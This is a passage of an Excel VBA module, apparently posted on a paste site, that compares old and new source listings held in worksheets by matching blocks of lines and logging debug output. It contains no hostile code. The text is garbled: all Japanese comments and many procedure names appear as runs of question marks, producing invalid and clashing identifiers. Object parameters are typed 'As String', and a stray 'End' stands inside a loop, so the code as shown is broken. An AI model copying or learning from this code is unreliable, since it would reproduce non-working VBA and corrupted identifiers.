  868. Const cnLenSeq As Long = 6
  869. Const cnBgnSoc As Long = 7
  870. Const cnLenSoc As Long = 66
  871.  
  872. Dim nRow As Long
  873. Dim nidx As Long
  874. Dim nComntCol As Long
  875. Dim nComntidx As Long
  876.  
  877. With oCmn.oPrp
  878. Set .oSheet = Worksheets(sCmnSheet)
  879. .nSocMinRow = g_cnSocMinRow
  880. .nSocMaxRow = .oSheet.Cells(.oSheet.Rows.Count, g_cnSocCol).End(xlUp).Row
  881. .nSocMaxidx = .nSocMaxRow - g_cnSocMinRow
  882. ReDim oCmn.oSoc(.nSocMaxidx)
  883. End With
  884.  
  885. For nRow = oCmn.oPrp.nSocMinRow To oCmn.oPrp.nSocMaxRow
  886. nidx = nRow - g_cnSocMinRow
  887. With oCmn.oSoc(nidx)
  888. .bMatch = False
  889. .nOpidx = 0
  890. .sSeqno = Left(oCmn.oPrp.oSheet.Cells(nRow, g_cnSocCol).Value, cnLenSeq)
  891. .sSourc = Trim(Mid(oCmn.oPrp.oSheet.Cells(nRow, g_cnSocCol).Value, cnBgnSoc, cnLenSoc))
  892.  
  893. For nComntCol = g_cnLeftComntCol To g_cnRigtComntCol
  894. nComntidx = nComntCol - g_cnLeftComntCol
  895. .sComnt(nComntidx) = oCmn.oPrp.oSheet.Cells(nRow, nComntCol).Value
  896. Next
  897. End With
  898. Next
  899.  
  900. End Sub
  901.  
  902. '*******************************************************************************
  903. ' ???????
  904. '*******************************************************************************
  905. Private Sub sb???????(nBlock As Long, oNew As String, oOld As String)
  906. Dim nNewRept As Long
  907. Dim nOldRept As Long
  908. Dim nMchCond As Long
  909.  
  910. oOld.oidx.nLimBegin = 0 'Old??idx ??
  911. oOld.oidx.nLimEnd = oOld.oPrp.nSocMaxidx
  912.  
  913. oOld.oidx.nCmpBegin = oOld.oidx.nLimBegin 'Old????idx ??
  914. nOldRept = fn????idx??(nBlock, oOld)
  915.  
  916. Do While (nOldRept = 0) 'Old????idx Begin ?????? ??
  917.  
  918. Call sb??????idx??(oOld, oNew) 'New??idx ??
  919. oNew.oidx.nCmpBegin = oNew.oidx.nLimBegin 'New????idx ??
  920. nNewRept = fn????idx??(nBlock, oNew)
  921.  
  922. nMchCond = 9 '?????? ???
  923.  
  924. Do While (nNewRept = 0) 'New????idx Begin, End ????? ??
  925.  
  926. nMchCond = 1 '?????? ?????
  927. nMchCond = fn??????(oNew, oOld) '??????
  928.  
  929. If nMchCond = 0 Then '?????? ???
  930. Call sb??????(oNew, oOld)
  931. Call sb???Debug(nBlock, oNew, oOld) '##### Debug #####
  932. Exit Do
  933. End If
  934.  
  935. oNew.oidx.nCmpBegin = oNew.oidx.nCmpBegin + 1 'New????idx ??
  936. nNewRept = fn????idx??(nBlock, oNew)
  937. Loop
  938.  
  939. If (nMchCond = 0) Then '?????? ???
  940. oOld.oidx.nCmpBegin = oOld.oidx.nCmpBegin + nBlock
  941.  
  942. ElseIf (nMchCond = 1) Then '?????? ?????
  943. oOld.oidx.nCmpBegin = oOld.oidx.nCmpBegin + 1
  944.  
  945. ElseIf (nMchCond = 9) Then '?????? ???
  946. oOld.oidx.nCmpBegin = oOld.oidx.nCmpBegin + nBlock
  947.  
  948. End If
  949.  
  950. nOldRept = fn????idx??(nBlock, oOld) 'Old????idx ??
  951. Loop
  952.  
  953. End Sub
  954.  
  955. '*******************************************************************************
  956. ' ????idx ??
  957. '*******************************************************************************
  958. ' < ???? >
  959. ' ????????,???????????????idx Begin,End ?
  960. ' ?????
  961. ' ????idx Begin ???????? ???? 99
  962. ' ????idx End ???idx?????? ???? 90
  963. ' ?????????????????? ???? 10 (???????)
  964. ' ????idx Begin, End ???????? ???? 00 ????
  965. '*******************************************************************************
  966. Private Function fn????idx??(nBlock As Long, oCmn As String) As Long
  967.  
  968. Dim nCmnRept As Long
  969. Dim nNextEnd As Long
  970.  
  971. nNextEnd = oCmn.oidx.nCmpBegin
  972. nCmnRept = 10
  973.  
  974. Do While (nCmnRept = 10)
  975. '????idx Begin ??
  976. oCmn.oidx.nCmpBegin = nNextEnd
  977. If (fn????idx_Begin??(oCmn) = False) Then
  978. fn????idx?? = 99
  979. Exit Function
  980. End If
  981. '????idx End ??
  982. oCmn.oidx.nCmpEnd = oCmn.oidx.nCmpBegin + nBlock - 1
  983. nCmnRept = fn???????????(nBlock, oCmn)
  984. If nCmnRept = 90 Then
  985. fn????idx?? = nCmnRept
  986. Exit Function
  987. End If
  988. nNextEnd = oCmn.oidx.nCmpEnd + 1
  989. Loop
  990.  
  991. fn????idx?? = 0
  992.  
  993. End Function
  994.  
  995. '*******************************************************************************
  996. ' ????idx Begin ??
  997. '*******************************************************************************
  998. ' < ???? >
  999. ' ?????????????????????????
  1000. ' ???????????????????
  1001. ' ???????idx Begin????????? True ????
  1002. ' ????????????????
  1003. ' ???? False ????
  1004. '*******************************************************************************
  1005. Private Function fn????idx_Begin??(oCmn As String) As Boolean
  1006.  
  1007. Dim nidx As Long
  1008. Dim nEnd As Long
  1009.  
  1010. fn????idx_Begin?? = False
  1011. nidx = oCmn.oidx.nCmpBegin
  1012.  
  1013. Do While (nidx <= oCmn.oidx.nLimEnd)
  1014. If oCmn.oSoc(nidx).bMatch = False Then
  1015. oCmn.oidx.nCmpBegin = nidx
  1016. fn????idx_Begin?? = True
  1017. Exit Function
  1018. End If
  1019. nidx = nidx + 1
  1020. Loop
  1021.  
  1022. End Function
  1023.  
  1024. '*******************************************************************************
  1025. ' ???????????
  1026. '*******************************************************************************
  1027. ' < ???? >
  1028. ' ????????,???????????????idx Begin+1???
  1029. ' ????idx Begin+1???????idx Begin+???????????
  1030. ' ??????????????????
  1031. ' ??idx End<????idx End ???????? 90
  1032. ' ?????????????????? ???? 10
  1033. ' ??????? ???? 00 ????
  1034. '*******************************************************************************
  1035. Private Function fn???????????(nBlock As Long, oCmn As String) As Long
  1036.  
  1037. Dim nidx As Long
  1038.  
  1039. If oCmn.oidx.nLimEnd < oCmn.oidx.nCmpEnd Then
  1040. fn??????????? = 90
  1041. Exit Function
  1042. End If
  1043.  
  1044. nidx = oCmn.oidx.nCmpBegin + 1
  1045. Do While (nidx <= oCmn.oidx.nCmpEnd)
  1046. If oCmn.oSoc(nidx).bMatch = True Then
  1047. fn??????????? = 10
  1048. Exit Function
  1049. End If
  1050. nidx = nidx + 1
  1051. Loop
  1052.  
  1053. fn??????????? = 0
  1054.  
  1055. End Function
  1056.  
  1057. '*******************************************************************************
  1058. ' ?????? index ??
  1059. '*******************************************************************************
  1060. ' < ???? >
  1061. ' ???????,??????????
  1062. ' ?????????idx End ???????????????????????
  1063. ' ?????????????????(????)? index ??
  1064. ' ???????????????????idx End ????
  1065. ' ?????????idx Begin ???? ??????????????????
  1066. ' ?????????????????(????)? index ??
  1067. ' ???????????????????idx Begin ????
  1068. '*******************************************************************************
  1069. Private Sub sb??????idx??(oOld As String, oNew As String)
  1070.  
  1071. Dim nidx As Long
  1072. Dim nEnd As Long
  1073. '??????idx End ??
  1074. nEnd = oOld.oPrp.nSocMaxidx
  1075. nidx = oOld.oidx.nCmpEnd
  1076. oNew.oidx.nLimEnd = oNew.oPrp.nSocMaxidx
  1077.  
  1078. Do While (nidx <= nEnd)
  1079. If oOld.oSoc(nidx).bMatch = True Then
  1080. oNew.oidx.nLimEnd = oOld.oSoc(nidx).nOpidx - 1
  1081. Exit Do
  1082. End If
  1083. nidx = nidx + 1
  1084. Loop
  1085. '??????idx Begin ??
  1086. nEnd = 0
  1087. nidx = oOld.oidx.nCmpBegin
  1088. oNew.oidx.nLimBegin = 0
  1089.  
  1090. Do While (nidx >= nEnd)
  1091. If oOld.oSoc(nidx).bMatch = True Then
  1092. oNew.oidx.nLimBegin = oOld.oSoc(nidx).nOpidx + 1
  1093. Exit Do
  1094. End If
  1095. nidx = nidx - 1
  1096. Loop
  1097.  
  1098. End Sub
  1099.  
  1100. '*******************************************************************************
  1101. ' ??????
  1102. '*******************************************************************************
  1103. ' < ???? >
  1104. ' ????????????index Begin~End ?????????
  1105. ' ???????????????????? 0 ????
  1106. ' ???????? 1 ????
  1107. '*******************************************************************************
  1108. Private Function fn??????(oNew As String, oOld As String) As Long
  1109.  
  1110. Dim nNewidx As Long
  1111. Dim nOldidx As Long
  1112.  
  1113. nNewidx = oNew.oidx.nCmpBegin
  1114. nOldidx = oOld.oidx.nCmpBegin
  1115.  
  1116. Do While (nNewidx <= oNew.oidx.nCmpEnd)
  1117. If oNew.oSoc(nNewidx).sSourc <> oOld.oSoc(nOldidx).sSourc Then
  1118. fn?????? = 1
  1119. Exit Function
  1120. End If
  1121. nNewidx = nNewidx + 1
  1122. nOldidx = nOldidx + 1
  1123. Loop
  1124.  
  1125. fn?????? = 0
  1126.  
  1127. End Function
  1128.  
  1129. '*******************************************************************************
  1130. ' ??????
  1131. '*******************************************************************************
  1132. ' < ???? >
  1133. ' ?????????????????????????? True, ??idx ?
  1134. ' ????,???????????????? index ??????
  1135. '*******************************************************************************
  1136. Private Sub sb??????(oNew As String, oOld As String)
  1137.  
  1138. Dim nNewidx As Long
  1139. Dim nOldidx As Long
  1140.  
  1141. nNewidx = oNew.oidx.nCmpBegin
  1142. nOldidx = oOld.oidx.nCmpBegin
  1143.  
  1144. Do While (nNewidx <= oNew.oidx.nCmpEnd)
  1145. oNew.oSoc(nNewidx).bMatch = True
  1146. oNew.oSoc(nNewidx).nOpidx = nOldidx
  1147. oOld.oSoc(nOldidx).bMatch = True
  1148. oOld.oSoc(nOldidx).nOpidx = nNewidx
  1149.  
  1150. nNewidx = nNewidx + 1
  1151. nOldidx = nOldidx + 1
  1152. Loop
  1153.  
  1154. End Sub
  1155.  
  1156. '*******************************************************************************
  1157. ' ???Debug ??
  1158. '*******************************************************************************
  1159. Private Sub sb???Debug(nBlock As Long, oNew As String, oOld As String)
  1160.  
  1161. g_oTStrm.WriteLine "########### ????? ###########"
  1162. g_oTStrm.WriteLine " ??????? : " & nBlock
  1163. g_oTStrm.WriteLine " ???? CmpBegin : " & oNew.oidx.nCmpBegin
  1164. g_oTStrm.WriteLine " CmpEnd : " & oNew.oidx.nCmpEnd
  1165. g_oTStrm.WriteLine " "
  1166. g_oTStrm.WriteLine " ???? CmpBegin : " & oOld.oidx.nCmpBegin
  1167. g_oTStrm.WriteLine " CmpEnd : " & oOld.oidx.nCmpEnd
  1168.  
  1169. End Sub
  1170.  
  1171. '*******************************************************************************
  1172. ' ???Debug ??
  1173. '*******************************************************************************
  1174. Private Sub sb???Debug(oNew As String, oOld As String)
  1175.  
  1176. Dim nidx As Long
  1177.  
  1178. g_oTStrm.WriteLine " "
  1179. g_oTStrm.WriteLine " "
  1180. g_oTStrm.WriteLine "####### New Source ############################################################"
  1181. For nidx = 0 To oNew.oPrp.nSocMaxidx
  1182. With oNew.oSoc(nidx)
  1183. g_oTStrm.WriteLine .sSeqno & " " & .sSourc & " " & Space(75 - Len(.sSourc)) & .bMatch
  1184. End With
  1185. Next
  1186.  
  1187. g_oTStrm.WriteLine " "
  1188. g_oTStrm.WriteLine " "
  1189. g_oTStrm.WriteLine "####### Old Source ############################################################"
  1190. For nidx = 0 To oOld.oPrp.nSocMaxidx
  1191. With oOld.oSoc(nidx)
  1192. g_oTStrm.WriteLine .sSeqno & " " & .sSourc & " " & Space(75 - Len(.sSourc)) & .bMatch
  1193. End With
  1194. Next
  1195.  
  1196. End Sub
  1197.  
  1198. '*******************************************************************************
  1199. ' ????????
  1200. '*******************************************************************************
  1201. Private Sub sb??????(oNew As String, oOld As String)
  1202.  
  1203. Dim nNewidx As Long
  1204. Dim nOldidx As Long
  1205. Dim nidx As Long
  1206.  
  1207. oOld.oidx.nLimBegin = 0 'Old??idx ??
  1208. oOld.oidx.nLimEnd = oOld.oPrp.nSocMaxidx
  1209. oNew.oidx.nLimBegin = 0 'New??idx ??
  1210. oNew.oidx.nLimEnd = oNew.oPrp.nSocMaxidx
  1211.  
  1212. nNewidx = 0
  1213. nOldidx = 0
  1214. Do While (nNewidx <= oNew.oidx.nLimEnd)
  1215.  
  1216. oNew.oidx.nCmpBegin = fn??????(oNew, nNewidx)
  1217. nidx = oNew.oidx.nCmpBegin
  1218. oOld.oidx.nCmpBegin = oOld.oSoc(nidx).nOpidx
  1219.  
  1220. For nidx = nOldidx To oOld.oidx.nCmpBegin - 1
  1221. '????? Old??? ??
  1222. Next
  1223.  
  1224. For nidx = nNewidx To oNew.oidx.nCmpBegin - 1
  1225. '????? New??? ??
  1226. Next
  1227.  
  1228. nNewidx = oNew.oidx.nCmpBegin
  1229. Do While (nidx <= oNew.oidx.nLimEnd And oNew.oSoc(nidx).bMatch = False)
  1230. Exit Do
  1231. End
  1232. '??? Old ??? ??
  1233.  
  1234. nNewidx = nNewidx + 1
  1235. Loop
  1236.  
  1237. Loop
  1238.  
  1239. End Sub
Advertisement
Add Comment
Please, Sign In to add comment